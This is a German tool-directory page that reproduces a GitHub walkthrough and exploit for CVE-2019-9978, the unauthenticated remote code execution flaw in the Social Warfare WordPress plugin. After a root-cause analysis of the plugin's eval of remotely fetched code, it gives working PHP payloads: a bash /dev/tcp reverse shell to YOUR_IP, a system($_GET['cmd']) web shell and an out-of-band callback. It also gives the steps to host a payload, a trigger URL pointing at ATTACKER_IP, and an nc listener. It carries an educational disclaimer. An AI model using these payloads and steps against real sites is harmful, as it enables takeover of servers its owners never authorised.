Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — Ein vollständiger Walkthrough und Exploit für CVE-2019-9978 - Nicht authentifizierte Remote-Codeausführung im Social Warfare WordPress-Plugin ≤ 3.5.2. Enthält die Analyse des verwundbaren Codes und Payload-Beispiele. | Kitploit
Tools/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

Ein vollständiger Walkthrough und Exploit für CVE-2019-9978 - Nicht authentifizierte Remote-Codeausführung im Social Warfare WordPress-Plugin ≤ 3.5.2. Enthält die Analyse des verwundbaren Codes und Payload-Beispiele.

Repository anzeigen
12vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – Social Warfare WordPress Plugin RCE

⚠️ HAFTUNGSAUSSCHLUSS: Dieses Repository dient nur zu Bildungs- und autorisierten Sicherheitstests. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff ist illegal.


📋 Übersicht

EigenschaftWert
CVE-IDCVE-2019-9978
Betroffene SoftwareSocial Warfare Plugin ≤ 3.5.2 (WordPress)
SchwachstellentypRemote Code Execution (RCE) / Remote File Inclusion (RFI)
Authentifizierung erforderlich❌ Nein – ohne Authentifizierung
CVSS-Score9.8 (Kritisch)
Behoben inVersion 3.5.3
In freier Wildbahn ausgenutztJa – März 2019

Das Social Warfare Plugin ist ein beliebtes WordPress-Plugin, das Social-Sharing-Buttons zu Websites hinzufügt. Die Versionen 3.5.0 bis 3.5.2 enthalten eine kritische RCE-Schwachstelle, die es Angreifern ermöglicht, ohne Authentifizierung beliebigen PHP-Code auf dem Server auszuführen.


Wofür wird dieses Plugin verwendet?

Social Warfare ist ein beliebtes WordPress-Plugin, das Social-Sharing-Buttons zu Websites hinzufügt und Besuchern ermöglicht, Inhalte einfach auf Plattformen wie den folgenden zu teilen:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


Ursachenanalyse

Der verwundbare Code

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ CRITICAL MISUNDERSTANDING:
    // is_admin() only checks if the page is in /wp-admin/
    // It does NOT verify authentication or user privileges!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Step 1: Fetch remote file from user-controlled URL
    // No validation, no sanitization, no whitelist!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Step 2: Extract content between <pre> tags
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Step 3: Build PHP code string
    $array = 'return ' . $options . ';';

    // Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
        // ... rest of the migration logic
    } catch ( ParseError $e ) {
        // ... error handling
    }
}

Warum is_admin() keine Sicherheit ist

Die WordPress-Funktion is_admin() prüft nicht, ob ein Benutzer angemeldet ist oder Administratorrechte besitzt. Sie prüft nur, ob sich die angeforderte Seite im Verzeichnis /wp-admin/ befindet:

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  Does NOT check authentication!
    //  Does NOT check user role!
}

Die Ironie: Wenn du auf /wp-admin/admin-post.php zugreifst, definiert WordPress WP_ADMIN = true. Dadurch gibt is_admin() sogar bei nicht authentifizierten Anfragen true zurück, was die Ausführung des verwundbaren Codeblocks ermöglicht.

Hier ist die Schwachstelle!

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
    }

Das Plugin verfügte über ein verstecktes „Debug“-Feature, das Entwicklern helfen sollte, Konfigurationsdateien von externen URLs zu laden. Dieses Feature hatte jedoch einen fatalen Fehler: Es lud beliebige Dateien von einer vom Benutzer angegebenen URL herunter und führte jeden darin gefundenen Code aus – ohne um Erlaubnis zu fragen oder zu prüfen, ob der Benutzer autorisiert war.

Der Exploit ist einfach:

Ein Angreifer hostet eine schädliche Datei auf seinem eigenen Server, weist das Plugin an, sie herunterzuladen, und das Plugin führt den Code des Angreifers blind auf der Website des Opfers aus. Da das Plugin für die Auslösung keine Anmeldung erfordert, kann jeder, der die URL kennt, die Website übernehmen.

Stell dir das so vor: Stell dir einen Sicherheitsdienst vor, der jede Tür öffnet, wenn du „Debug-Modus“ sagst – ohne zu prüfen, ob du dort arbeitest oder einen Ausweis hast. Genau das tat diese Schwachstelle.

Der Exploit sollte zwischen zwei <pre></pre>-Tags geschrieben werden.


💀 Exploit-Walkthrough

Schritt 1: Verwundbares Ziel identifizieren oder WordPress und dieses Plugin installieren und dann die Schritte befolgen

Verwende WPScan, um die Version des Social Warfare Plugins zu ermitteln:

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Social Warfare Plugin-Version ≤ 3.5.2

Wenn du es selbst installiert hast, vergiss nicht, das Plugin im Admin-Panel zu aktivieren.


Schritt 2: Payload-Datei erstellen

Erstelle payload.txt mit deiner gewünschten Payload und starte anschließend einen Server, um diese Payload auszuliefern.

Beispiel-Payloads:

Test-Payload (RCE verifizieren):

root@kitploit:~
<pre>phpinfo();</pre>

Out-of-Bound-Test:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Reverse-Shell für Linux:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

Interaktiver Befehlsausführer:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

Schritt 3: Payload hosten

Starte einen Python-HTTP-Server, um deine Payload zu hosten:

root@kitploit:~
python3 -m http.server 8000

Deine Payload ist jetzt erreichbar unter: http://YOUR_IP:8000/payload.txt

Falls du localhost verwendest:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

Nachdem die Anfrage vom verwundbaren Code aus gesendet wurde, solltest du einen 200-Statuscode sehen:

sc3


Schritt 4: Den Exploit auslösen

Option A – Manuelles Auslösen:

Rufe diese URL in deinem Browser auf oder verwende curl:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

Auch hier, falls du localhost verwendest:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

Schritt 5: Reverse-Shell empfangen (für Reverse-Shell-Payloads)

root@kitploit:~
nc -lvnp 4444

Wenn es erfolgreich ist, erhältst du eine Shell!


Ergebnisse:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


Happy Hacking! 🚀

Tool herunterladen